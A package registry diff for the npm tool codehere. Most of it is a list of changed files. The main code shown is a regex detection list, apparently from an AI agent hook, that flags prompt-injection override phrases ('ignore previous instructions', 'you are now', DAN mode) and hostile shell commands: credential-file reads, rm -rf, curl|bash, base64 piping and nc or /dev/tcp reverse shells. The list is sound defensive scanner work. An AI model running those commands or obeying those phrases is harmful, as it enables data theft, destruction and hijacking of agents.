codehere 0.2.2 → 0.3.0-rc.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (238) hide show
  1. package/README.md +88 -68
  2. package/dist/domain/entities/task.js +4 -4
  3. package/dist/error-handler.js +4 -9
  4. package/dist/index.js +261 -1224
  5. package/dist/infrastructure/config/product-context.js +7 -6
  6. package/dist/infrastructure/hooks/claude-sdk-hook.js +348 -72
  7. package/dist/infrastructure/observability/execution-tracer.js +11 -6
  8. package/dist/infrastructure/orchestration/agent-adapter.js +13 -0
  9. package/dist/infrastructure/orchestration/agent-installer.js +101 -0
  10. package/dist/infrastructure/orchestration/agents-config-seed.js +56 -0
  11. package/dist/infrastructure/orchestration/aider-adapter.js +319 -0
  12. package/dist/infrastructure/orchestration/artifacts-extractor.js +175 -0
  13. package/dist/infrastructure/orchestration/claude-code-adapter.js +352 -0
  14. package/dist/infrastructure/orchestration/codex-adapter.js +310 -0
  15. package/dist/infrastructure/orchestration/conductor-adapter.js +340 -0
  16. package/dist/infrastructure/orchestration/generic-cli-adapter.js +553 -0
  17. package/dist/infrastructure/orchestration/opencode-adapter.js +275 -0
  18. package/dist/infrastructure/orchestration/progress-aggregator.js +189 -0
  19. package/dist/infrastructure/orchestration/readiness.js +106 -0
  20. package/dist/infrastructure/orchestration/session-manager.js +278 -0
  21. package/dist/infrastructure/orchestration/session-persistence.js +109 -0
  22. package/dist/infrastructure/protocols/mcp-helpers.js +10 -30
  23. package/dist/infrastructure/protocols/mcp-server-impl.js +359 -21
  24. package/dist/infrastructure/protocols/probe-port.js +36 -0
  25. package/dist/infrastructure/protocols/ui-page.js +1827 -0
  26. package/dist/infrastructure/security/file-collection.js +115 -0
  27. package/dist/infrastructure/security/trust-scorer.js +301 -56
  28. package/dist/infrastructure/storage/task-repository.js +8 -7
  29. package/dist/monitoring.js +9 -38
  30. package/dist/presentation/cli/commands/help-command.js +96 -139
  31. package/dist/presentation/cli/commands/hook-command.js +17 -24
  32. package/dist/presentation/cli/commands/report-command.js +59 -72
  33. package/dist/presentation/cli/commands/setup-command.js +4 -4
  34. package/dist/presentation/cli/commands/status-command.js +321 -30
  35. package/dist/presentation/cli/commands/trust-command.js +84 -72
  36. package/dist/presentation/cli/error-display.js +17 -21
  37. package/dist/presentation/cli/repl.js +474 -0
  38. package/dist/ui.js +11 -11
  39. package/package.json +24 -62
  40. package/dist/agents/base.js +0 -101
  41. package/dist/agents/orchestrator-model-driven.js +0 -141
  42. package/dist/agents/react-orchestrator-agent.js +0 -54
  43. package/dist/application/agents/execution-agent.js +0 -508
  44. package/dist/application/agents/multi-agent-orchestrator.js +0 -295
  45. package/dist/application/agents/planning-agent.js +0 -433
  46. package/dist/application/agents/validation-agent.js +0 -317
  47. package/dist/application/architectures/plan-and-act.js +0 -242
  48. package/dist/application/index.js +0 -12
  49. package/dist/application/services/agent-factory.js +0 -28
  50. package/dist/application/services/dependency-container.js +0 -596
  51. package/dist/application/services/git-context-service.js +0 -83
  52. package/dist/application/services/intelligent-router.js +0 -934
  53. package/dist/application/services/tool-executor-service.js +0 -94
  54. package/dist/application/use-cases/ask-question-use-case.js +0 -338
  55. package/dist/application/use-cases/edit-file-use-case.js +0 -830
  56. package/dist/application/use-cases/explain-file-use-case.js +0 -50
  57. package/dist/application/use-cases/index-codebase-use-case.js +0 -113
  58. package/dist/application/use-cases/planning-use-case.js +0 -276
  59. package/dist/application/use-cases/react-orchestration-use-case.js +0 -329
  60. package/dist/application/use-cases/reflexion-use-case.js +0 -30
  61. package/dist/application/workflows/deterministic-workflows.js +0 -189
  62. package/dist/ast-parser.js +0 -331
  63. package/dist/cache.js +0 -180
  64. package/dist/chat.js +0 -251
  65. package/dist/code-analysis.js +0 -327
  66. package/dist/context.js +0 -187
  67. package/dist/docs.js +0 -146
  68. package/dist/domain/entities/code-chunk.js +0 -6
  69. package/dist/domain/entities/decision.js +0 -9
  70. package/dist/domain/entities/edit.js +0 -6
  71. package/dist/domain/entities/knowledge-node.js +0 -9
  72. package/dist/domain/entities/knowledge-preservation.js +0 -10
  73. package/dist/domain/entities/memory.js +0 -6
  74. package/dist/domain/entities/pattern.js +0 -7
  75. package/dist/domain/entities/plan.js +0 -6
  76. package/dist/domain/entities/query.js +0 -6
  77. package/dist/domain/errors/embeddings-not-found-error.js +0 -13
  78. package/dist/domain/index.js +0 -19
  79. package/dist/domain/interfaces/ai-service.interface.js +0 -6
  80. package/dist/domain/interfaces/code-analyzer.interface.js +0 -6
  81. package/dist/domain/interfaces/decision-repository.interface.js +0 -9
  82. package/dist/domain/interfaces/embedding-repository.interface.js +0 -6
  83. package/dist/domain/interfaces/knowledge-graph-repository.interface.js +0 -9
  84. package/dist/domain/interfaces/knowledge-preservation-repository.interface.js +0 -8
  85. package/dist/domain/interfaces/memory-repository.interface.js +0 -6
  86. package/dist/domain/interfaces/pattern-repository.interface.js +0 -6
  87. package/dist/domain/interfaces/verification-service.interface.js +0 -6
  88. package/dist/domain/services/cross-team-pattern-sharing.js +0 -125
  89. package/dist/domain/services/decision-recorder.js +0 -223
  90. package/dist/domain/services/decision-retriever.js +0 -133
  91. package/dist/domain/services/environment-mode-manager.js +0 -22
  92. package/dist/domain/services/graded-memory-activation.js +0 -69
  93. package/dist/domain/services/knowledge-access.js +0 -132
  94. package/dist/domain/services/knowledge-extractor.js +0 -247
  95. package/dist/domain/services/knowledge-graph-builder.js +0 -268
  96. package/dist/domain/services/knowledge-graph-query.js +0 -187
  97. package/dist/domain/services/memory-retriever.js +0 -82
  98. package/dist/domain/services/memory-synthesizer.js +0 -91
  99. package/dist/domain/services/pattern-extractor.js +0 -442
  100. package/dist/domain/services/query-intent-classifier.js +0 -140
  101. package/dist/domain/services/react-loop.js +0 -186
  102. package/dist/domain/services/risk-tier-detector.js +0 -78
  103. package/dist/edit.js +0 -319
  104. package/dist/embed.js +0 -459
  105. package/dist/formatter.js +0 -168
  106. package/dist/git.js +0 -198
  107. package/dist/infrastructure/ai/cohere-ai-service.js +0 -607
  108. package/dist/infrastructure/ai/command-r-evaluation.js +0 -206
  109. package/dist/infrastructure/ai/model-config.js +0 -84
  110. package/dist/infrastructure/ai/provider-ai-service.js +0 -477
  111. package/dist/infrastructure/cache/embedding-cache.js +0 -175
  112. package/dist/infrastructure/cache/query-result-cache.js +0 -66
  113. package/dist/infrastructure/cache/response-cache.js +0 -48
  114. package/dist/infrastructure/cache/security-scan-cache.js +0 -47
  115. package/dist/infrastructure/chunking/ast-code-chunker.js +0 -19
  116. package/dist/infrastructure/chunking/code-aware-chunker.js +0 -397
  117. package/dist/infrastructure/context/context-compressor.js +0 -329
  118. package/dist/infrastructure/context/conversation-context.js +0 -128
  119. package/dist/infrastructure/context/session-manager.js +0 -94
  120. package/dist/infrastructure/cost/cost-tracker.js +0 -360
  121. package/dist/infrastructure/file-scanner/file-scanner.js +0 -106
  122. package/dist/infrastructure/governance/nist-ai-rmf.js +0 -292
  123. package/dist/infrastructure/governance/policy-as-code.js +0 -258
  124. package/dist/infrastructure/governance/prompt-to-code-lineage.js +0 -239
  125. package/dist/infrastructure/index.js +0 -7
  126. package/dist/infrastructure/observability/prompt-versioner.js +0 -145
  127. package/dist/infrastructure/protocols/a2a-metadata.js +0 -137
  128. package/dist/infrastructure/protocols/a2a-protocol.js +0 -314
  129. package/dist/infrastructure/protocols/mcp-oauth.js +0 -184
  130. package/dist/infrastructure/protocols/mcp-server.js +0 -333
  131. package/dist/infrastructure/protocols/streaming-handler.js +0 -103
  132. package/dist/infrastructure/providers/cohere-provider.js +0 -444
  133. package/dist/infrastructure/providers/fake-provider.js +0 -130
  134. package/dist/infrastructure/providers/local-llm-provider.js +0 -330
  135. package/dist/infrastructure/providers/model-config.types.js +0 -9
  136. package/dist/infrastructure/providers/model-provider.interface.js +0 -8
  137. package/dist/infrastructure/providers/openai-provider.js +0 -413
  138. package/dist/infrastructure/providers/openrouter-provider.js +0 -399
  139. package/dist/infrastructure/providers/operation-provider-resolver.js +0 -105
  140. package/dist/infrastructure/providers/provider-config-loader.js +0 -120
  141. package/dist/infrastructure/providers/provider-registry.js +0 -88
  142. package/dist/infrastructure/safety/pattern-detector.js +0 -133
  143. package/dist/infrastructure/security/ai-sast-scanner.js +0 -290
  144. package/dist/infrastructure/security/docker-sandbox.js +0 -178
  145. package/dist/infrastructure/security/enhanced-security-gate.js +0 -151
  146. package/dist/infrastructure/security/license-scanner.js +0 -167
  147. package/dist/infrastructure/security/provider-bias-detector.js +0 -164
  148. package/dist/infrastructure/security/sandbox-executor.js +0 -64
  149. package/dist/infrastructure/serialization/toon-serializer.js +0 -119
  150. package/dist/infrastructure/storage/memory-stream-service.js +0 -204
  151. package/dist/infrastructure/storage/plan-repository.js +0 -96
  152. package/dist/infrastructure/storage/sqlite-decision-repository.js +0 -232
  153. package/dist/infrastructure/storage/sqlite-embedding-repository.js +0 -311
  154. package/dist/infrastructure/storage/sqlite-knowledge-graph-repository.js +0 -417
  155. package/dist/infrastructure/storage/sqlite-knowledge-preservation-repository.js +0 -230
  156. package/dist/infrastructure/storage/sqlite-memory-repository.js +0 -229
  157. package/dist/infrastructure/storage/sqlite-pattern-repository.js +0 -249
  158. package/dist/infrastructure/storage/task-helpers.js +0 -197
  159. package/dist/infrastructure/telemetry/telemetry-service.js +0 -167
  160. package/dist/infrastructure/ux/appropriate-friction.js +0 -213
  161. package/dist/infrastructure/ux/bi-directional-learning.js +0 -337
  162. package/dist/infrastructure/ux/capability-boundaries.js +0 -42
  163. package/dist/infrastructure/ux/comprehensive-formatter.js +0 -117
  164. package/dist/infrastructure/ux/contextual-feature-discovery.js +0 -10
  165. package/dist/infrastructure/ux/expectation-management.js +0 -327
  166. package/dist/infrastructure/ux/feature-discovery.js +0 -14
  167. package/dist/infrastructure/ux/feedback-prompt.js +0 -45
  168. package/dist/infrastructure/ux/hitl-validation.js +0 -297
  169. package/dist/infrastructure/ux/progress-indicator.js +0 -116
  170. package/dist/infrastructure/ux/progressive-disclosure.js +0 -236
  171. package/dist/infrastructure/ux/review-checkpoint.js +0 -72
  172. package/dist/infrastructure/ux/staged-feature-intro.js +0 -24
  173. package/dist/infrastructure/ux/stream-markdown.js +0 -151
  174. package/dist/infrastructure/ux/syntax-highlighter.js +0 -91
  175. package/dist/infrastructure/ux/team-standards.js +0 -196
  176. package/dist/infrastructure/ux/transparency.js +0 -71
  177. package/dist/infrastructure/validation/agent-feedback.js +0 -55
  178. package/dist/infrastructure/validation/agent-validation-helper.js +0 -137
  179. package/dist/infrastructure/validation/review-handler.js +0 -40
  180. package/dist/infrastructure/validation/summary-aggregator.js +0 -70
  181. package/dist/infrastructure/validation/summary-extractor.js +0 -45
  182. package/dist/infrastructure/validation/trace-summary.js +0 -52
  183. package/dist/infrastructure/verification/verification-service.js +0 -47
  184. package/dist/infrastructure/xai/attention-visualizer.js +0 -172
  185. package/dist/infrastructure/xai/cot-visualizer.js +0 -283
  186. package/dist/infrastructure/xai/decision-tree-log.js +0 -212
  187. package/dist/infrastructure/xai/interactive-xai.js +0 -260
  188. package/dist/infrastructure/xai/uncertainty-quantifier.js +0 -198
  189. package/dist/intelligent-retrieval.js +0 -272
  190. package/dist/intent/classifier.js +0 -2
  191. package/dist/intent/context.js +0 -2
  192. package/dist/iterative-refinement.js +0 -189
  193. package/dist/learning.js +0 -232
  194. package/dist/log.js +0 -31
  195. package/dist/migrate.js +0 -133
  196. package/dist/parallel-processor.js +0 -534
  197. package/dist/planner.js +0 -198
  198. package/dist/policy.js +0 -26
  199. package/dist/presentation/cli/commands/ask-command.js +0 -314
  200. package/dist/presentation/cli/commands/cost-command.js +0 -191
  201. package/dist/presentation/cli/commands/decision-command.js +0 -207
  202. package/dist/presentation/cli/commands/docs-command.js +0 -25
  203. package/dist/presentation/cli/commands/fix-command.js +0 -53
  204. package/dist/presentation/cli/commands/knowledge-command.js +0 -129
  205. package/dist/presentation/cli/commands/learning-dashboard-command.js +0 -183
  206. package/dist/presentation/cli/commands/models-command.js +0 -194
  207. package/dist/presentation/cli/commands/orchestrate-command.js +0 -207
  208. package/dist/presentation/cli/commands/plan-command.js +0 -246
  209. package/dist/presentation/cli/commands/product-command.js +0 -199
  210. package/dist/presentation/cli/commands/react-command.js +0 -181
  211. package/dist/presentation/cli/commands/review-command.js +0 -154
  212. package/dist/presentation/cli/commands/run-command.js +0 -188
  213. package/dist/presentation/cli/commands/smart-command.js +0 -395
  214. package/dist/presentation/cli/commands/suggest-command.js +0 -138
  215. package/dist/presentation/cli/commands/trace-command.js +0 -129
  216. package/dist/presentation/cli/commands/undo-command.js +0 -150
  217. package/dist/query-optimizer.js +0 -205
  218. package/dist/refactor.js +0 -116
  219. package/dist/review.js +0 -206
  220. package/dist/search.js +0 -163
  221. package/dist/session.js +0 -704
  222. package/dist/task-verification.js +0 -336
  223. package/dist/testgen.js +0 -166
  224. package/dist/token-optimizer.js +0 -277
  225. package/dist/tools/bash.js +0 -213
  226. package/dist/tools/edit.js +0 -235
  227. package/dist/tools/executor.js +0 -153
  228. package/dist/tools/git-tool.js +0 -292
  229. package/dist/tools/parser.js +0 -158
  230. package/dist/tools/registry.js +0 -302
  231. package/dist/tools/search.js +0 -100
  232. package/dist/types.js +0 -2
  233. package/dist/utils/check-api-status.js +0 -100
  234. package/dist/utils/diff-parser.js +0 -162
  235. package/dist/verification/backup.js +0 -259
  236. package/dist/verification/compiler.js +0 -264
  237. package/dist/verification/index.js +0 -273
  238. package/dist/verification/test-runner.js +0 -379
@@ -35,9 +35,12 @@ export function saveProductContext(ctx, cwd = process.cwd()) {
35
35
  * Returns a plain-English risk label for use in recommendations.
36
36
  */
37
37
  export function riskLabel(level) {
38
- return level === 'critical' ? 'critical-risk'
39
- : level === 'high' ? 'high-risk'
40
- : level === 'medium' ? 'production'
38
+ return level === 'critical'
39
+ ? 'critical-risk'
40
+ : level === 'high'
41
+ ? 'high-risk'
42
+ : level === 'medium'
43
+ ? 'production'
41
44
  : 'low-risk';
42
45
  }
43
46
  /**
@@ -47,9 +50,7 @@ export function riskLabel(level) {
47
50
  export function adjustRecommendation(base, criticalCount, highCount, score, ctx) {
48
51
  if (!ctx)
49
52
  return base;
50
- const prefix = ctx.productionApp
51
- ? `${ctx.name || 'Production app'} · `
52
- : '';
53
+ const prefix = ctx.productionApp ? `${ctx.name || 'Production app'} · ` : '';
53
54
  if (criticalCount > 0) {
54
55
  return `${prefix}${criticalCount} critical issue${criticalCount !== 1 ? 's' : ''} — fix before this goes to production.`;
55
56
  }
@@ -18,64 +18,335 @@ import { join } from 'path';
18
18
  import { homedir } from 'os';
19
19
  const PATTERNS = [
20
20
  // Prompt Injection
21
- { regex: /ignore\s+(previous|prior|above|all|your)\s+(instructions?|rules?|prompts?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Attempts to override system instructions' },
22
- { regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Disregard instruction override' },
23
- { regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i, severity: 'critical', category: 'Prompt Injection', description: 'Context clearing attempt' },
24
- { regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i, severity: 'critical', category: 'Prompt Injection', description: 'Role hijacking attempt' },
25
- { regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i, severity: 'critical', category: 'Prompt Injection', description: 'System prompt injection' },
26
- { regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i, severity: 'critical', category: 'Prompt Injection', description: 'Instruction override attempt' },
27
- { regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i, severity: 'critical', category: 'Prompt Injection', description: 'Jailbreak attempt' },
28
- { regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Safety bypass attempt' },
29
- { regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i, severity: 'high', category: 'Prompt Injection', description: 'Prompt template injection' },
30
- { regex: /override\s+(safety|security|policy|restrictions?)/i, severity: 'critical', category: 'Prompt Injection', description: 'Policy override attempt' },
21
+ // Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
22
+ {
23
+ regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
24
+ severity: 'critical',
25
+ category: 'Prompt Injection',
26
+ description: 'Attempts to override system instructions',
27
+ },
28
+ {
29
+ regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
30
+ severity: 'critical',
31
+ category: 'Prompt Injection',
32
+ description: 'Disregard instruction override',
33
+ },
34
+ {
35
+ regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
36
+ severity: 'critical',
37
+ category: 'Prompt Injection',
38
+ description: 'Context clearing attempt',
39
+ },
40
+ {
41
+ regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
42
+ severity: 'critical',
43
+ category: 'Prompt Injection',
44
+ description: 'Role hijacking attempt',
45
+ },
46
+ {
47
+ regex: /\bsystem\s+prompt\b|<\/?system>|(?<!['"\\])<\/?instruction>/i,
48
+ severity: 'critical',
49
+ category: 'Prompt Injection',
50
+ description: 'System prompt injection',
51
+ },
52
+ {
53
+ regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
54
+ severity: 'critical',
55
+ category: 'Prompt Injection',
56
+ description: 'Instruction override attempt',
57
+ },
58
+ {
59
+ regex: /\bjailbreak\b|\bDAN\s+mode\b|\bdeveloper\s+mode\s+enabled\b/i,
60
+ severity: 'critical',
61
+ category: 'Prompt Injection',
62
+ description: 'Jailbreak attempt',
63
+ },
64
+ {
65
+ regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
66
+ severity: 'critical',
67
+ category: 'Prompt Injection',
68
+ description: 'Safety bypass attempt',
69
+ },
70
+ {
71
+ regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
72
+ severity: 'high',
73
+ category: 'Prompt Injection',
74
+ description: 'Prompt template injection',
75
+ },
76
+ {
77
+ regex: /override\s+(safety|security|policy|restrictions?)/i,
78
+ severity: 'critical',
79
+ category: 'Prompt Injection',
80
+ description: 'Policy override attempt',
81
+ },
31
82
  // Credential Theft
32
- { regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i, severity: 'critical', category: 'Credential Theft', description: 'Reads credential files' },
33
- { regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i, severity: 'critical', category: 'Credential Theft', description: 'Exfiltrates env secrets' },
34
- { regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i, severity: 'high', category: 'Credential Theft', description: 'Environment variable exfiltration' },
35
- { regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i, severity: 'critical', category: 'Credential Theft', description: 'API key exfiltration via curl' },
36
- { regex: /ssh-keygen|cat\s+~\/.ssh\/(id_rsa|id_ed25519|authorized_keys)/i, severity: 'high', category: 'Credential Theft', description: 'SSH key access' },
37
- { regex: /keychain|security\s+find-generic-password/i, severity: 'high', category: 'Credential Theft', description: 'macOS keychain access attempt' },
38
- { regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i, severity: 'high', category: 'Credential Theft', description: 'Known API key reference' },
39
- { regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i, severity: 'medium', category: 'Credential Theft', description: 'Secret key reference' },
40
- { regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i, severity: 'critical', category: 'Credential Theft', description: 'Credential webhook exfiltration' },
41
- { regex: /\/proc\/\d+\/environ|\/etc\/shadow/i, severity: 'critical', category: 'Credential Theft', description: 'System credential file access' },
83
+ {
84
+ regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
85
+ severity: 'critical',
86
+ category: 'Credential Theft',
87
+ description: 'Reads credential files',
88
+ },
89
+ {
90
+ regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
91
+ severity: 'critical',
92
+ category: 'Credential Theft',
93
+ description: 'Exfiltrates env secrets',
94
+ },
95
+ {
96
+ regex: /\bprintenv\b|\benv\s*\|\s*(grep|curl|wget|nc)\b/i,
97
+ severity: 'high',
98
+ category: 'Credential Theft',
99
+ description: 'Environment variable exfiltration',
100
+ },
101
+ {
102
+ regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
103
+ severity: 'critical',
104
+ category: 'Credential Theft',
105
+ description: 'API key exfiltration via curl',
106
+ },
107
+ // Reading SSH private keys is never benign in dev workflow — promote to critical.
108
+ // ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
109
+ {
110
+ regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
111
+ severity: 'critical',
112
+ category: 'Credential Theft',
113
+ description: 'Reads SSH private key',
114
+ },
115
+ {
116
+ regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
117
+ severity: 'high',
118
+ category: 'Credential Theft',
119
+ description: 'SSH key tooling access',
120
+ },
121
+ {
122
+ regex: /\bkeychain\b|\bsecurity\s+find-generic-password\b/i,
123
+ severity: 'high',
124
+ category: 'Credential Theft',
125
+ description: 'macOS keychain access attempt',
126
+ },
127
+ {
128
+ regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
129
+ severity: 'high',
130
+ category: 'Credential Theft',
131
+ description: 'Known API key reference',
132
+ },
133
+ {
134
+ regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
135
+ severity: 'medium',
136
+ category: 'Credential Theft',
137
+ description: 'Secret key reference',
138
+ },
139
+ {
140
+ regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
141
+ severity: 'critical',
142
+ category: 'Credential Theft',
143
+ description: 'Credential webhook exfiltration',
144
+ },
145
+ {
146
+ regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
147
+ severity: 'critical',
148
+ category: 'Credential Theft',
149
+ description: 'System credential file access',
150
+ },
42
151
  // Destructive Operations
43
- { regex: /rm\s+-rf?\s+(\/|~|\.\.|\*|\/home|\/etc|\/var|\/usr)/i, severity: 'critical', category: 'Destructive', description: 'Recursive deletion of system/home directories' },
44
- { regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i, severity: 'critical', category: 'Destructive', description: 'Mass file deletion' },
45
- { regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i, severity: 'critical', category: 'Destructive', description: 'Raw disk write attempt' },
46
- { regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i, severity: 'critical', category: 'Destructive', description: 'Database destruction' },
47
- { regex: /git\s+(push\s+--force|reset\s+--hard)\s+origin/i, severity: 'high', category: 'Destructive', description: 'Force push or hard reset to remote' },
48
- { regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i, severity: 'high', category: 'Destructive', description: 'System shutdown/reboot' },
49
- { regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i, severity: 'medium', category: 'Destructive', description: 'Process mass termination' },
50
- { regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i, severity: 'high', category: 'Destructive', description: 'Scheduled destruction' },
152
+ // Block rm -rf against system roots or a user's whole home — but allow
153
+ // routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
154
+ // Previous pattern included bare `\/` which matched any path starting
155
+ // with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
156
+ // require an explicit system target or a bare home reference.
157
+ {
158
+ regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
159
+ severity: 'critical',
160
+ category: 'Destructive',
161
+ description: 'Recursive deletion of system/home directories',
162
+ },
163
+ {
164
+ regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
165
+ severity: 'critical',
166
+ category: 'Destructive',
167
+ description: 'Mass file deletion',
168
+ },
169
+ {
170
+ regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
171
+ severity: 'critical',
172
+ category: 'Destructive',
173
+ description: 'Raw disk write attempt',
174
+ },
175
+ {
176
+ regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
177
+ severity: 'critical',
178
+ category: 'Destructive',
179
+ description: 'Database destruction',
180
+ },
181
+ // Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
182
+ // Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
183
+ {
184
+ regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
185
+ severity: 'critical',
186
+ category: 'Destructive',
187
+ description: 'Force push or hard reset to a protected branch',
188
+ },
189
+ {
190
+ regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
191
+ severity: 'high',
192
+ category: 'Destructive',
193
+ description: 'Force push or hard reset to remote',
194
+ },
195
+ {
196
+ regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
197
+ severity: 'high',
198
+ category: 'Destructive',
199
+ description: 'System shutdown/reboot',
200
+ },
201
+ {
202
+ regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
203
+ severity: 'medium',
204
+ category: 'Destructive',
205
+ description: 'Process mass termination',
206
+ },
207
+ {
208
+ regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
209
+ severity: 'high',
210
+ category: 'Destructive',
211
+ description: 'Scheduled destruction',
212
+ },
51
213
  // Code/Command Injection
52
214
  // NOTE: patterns match execution intent, not grep/search of these strings.
53
215
  // A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
54
216
  // those are pre-filtered in buildScanPayload before patterns run.
55
- { regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i, severity: 'critical', category: 'Code Injection', description: 'Remote script piped directly to shell' },
56
- { regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i, severity: 'critical', category: 'Code Injection', description: 'Remote code execution via wget' },
57
- { regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i, severity: 'critical', category: 'Code Injection', description: 'Inline node eval execution' },
58
- { regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i, severity: 'critical', category: 'Code Injection', description: 'eval() with external or env input' },
59
- { regex: /exec\s*\(\s*['"]\s*system/i, severity: 'critical', category: 'Code Injection', description: 'System shell from code' },
60
- { regex: /python\s+-c\s+["']import\s+os;os\.system/i, severity: 'high', category: 'Code Injection', description: 'Python shell injection' },
61
- { regex: /nc\s+-[eln]+\s+\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i, severity: 'critical', category: 'Code Injection', description: 'Reverse shell attempt' },
62
- { regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i, severity: 'critical', category: 'Code Injection', description: 'Base64-encoded code execution' },
63
- { regex: /\$\(curl|subprocess\.run\(['"]curl/i, severity: 'high', category: 'Code Injection', description: 'Command substitution with curl' },
217
+ {
218
+ regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
219
+ severity: 'critical',
220
+ category: 'Code Injection',
221
+ description: 'Remote script piped directly to shell',
222
+ },
223
+ {
224
+ regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
225
+ severity: 'critical',
226
+ category: 'Code Injection',
227
+ description: 'Remote code execution via wget',
228
+ },
229
+ {
230
+ regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
231
+ severity: 'critical',
232
+ category: 'Code Injection',
233
+ description: 'Inline node eval execution',
234
+ },
235
+ {
236
+ regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
237
+ severity: 'critical',
238
+ category: 'Code Injection',
239
+ description: 'eval() with external or env input',
240
+ },
241
+ {
242
+ regex: /exec\s*\(\s*['"]\s*system/i,
243
+ severity: 'critical',
244
+ category: 'Code Injection',
245
+ description: 'System shell from code',
246
+ },
247
+ {
248
+ regex: /python\s+-c\s+["']import\s+os;os\.system/i,
249
+ severity: 'high',
250
+ category: 'Code Injection',
251
+ description: 'Python shell injection',
252
+ },
253
+ // Reverse shell forms:
254
+ // nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
255
+ // nc -e 1.2.3.4 4444 (IP directly after -e)
256
+ // bash -i >& /dev/tcp/host/port (bash builtin)
257
+ {
258
+ regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
259
+ severity: 'critical',
260
+ category: 'Code Injection',
261
+ description: 'Reverse shell attempt',
262
+ },
263
+ {
264
+ regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
265
+ severity: 'critical',
